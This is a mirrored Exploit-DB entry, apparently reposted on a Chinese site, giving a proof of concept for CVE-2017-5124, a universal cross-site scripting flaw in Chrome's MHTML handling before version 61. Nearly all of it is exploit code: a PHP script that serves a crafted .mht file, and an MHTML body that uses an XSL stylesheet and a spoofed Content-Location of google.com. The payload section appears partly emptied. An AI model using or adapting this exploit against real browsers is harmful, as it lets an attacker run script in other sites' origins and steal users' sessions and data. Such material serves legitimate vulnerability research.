Webkit (Chome < 61) - 'MHTML' Universal Cross-site Scripting - 体验盒子

作者： Anton Lopanitsyn

日期： 2017-10-03

类别：

local

平台：

multiple

来源：https://www.exploit-db.com/exploits/45867/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

<?php

$filename=realpath("PoC.mht");

header( "Content-type: multipart/related");

readfile($filename);

?>

MIME-Version: 1.0

Content-Type: multipart/related;

type="text/html";

boundary="----MultipartBoundary--"

CVE-2017-5124

------MultipartBoundary--

Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>

<?xml-stylesheet type="text/xml" href="https://www.exploit-db.com/exploits/45867/#stylesheet"?>

<!DOCTYPE catalog [

<!ATTLIST xsl:stylesheet

id ID #REQUIRED>

]>

<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="*">

</xsl:template>

</xsl:stylesheet>

------MultipartBoundary--

Content-Type: text/html

Content-Location: https://google.com

------MultipartBoundary----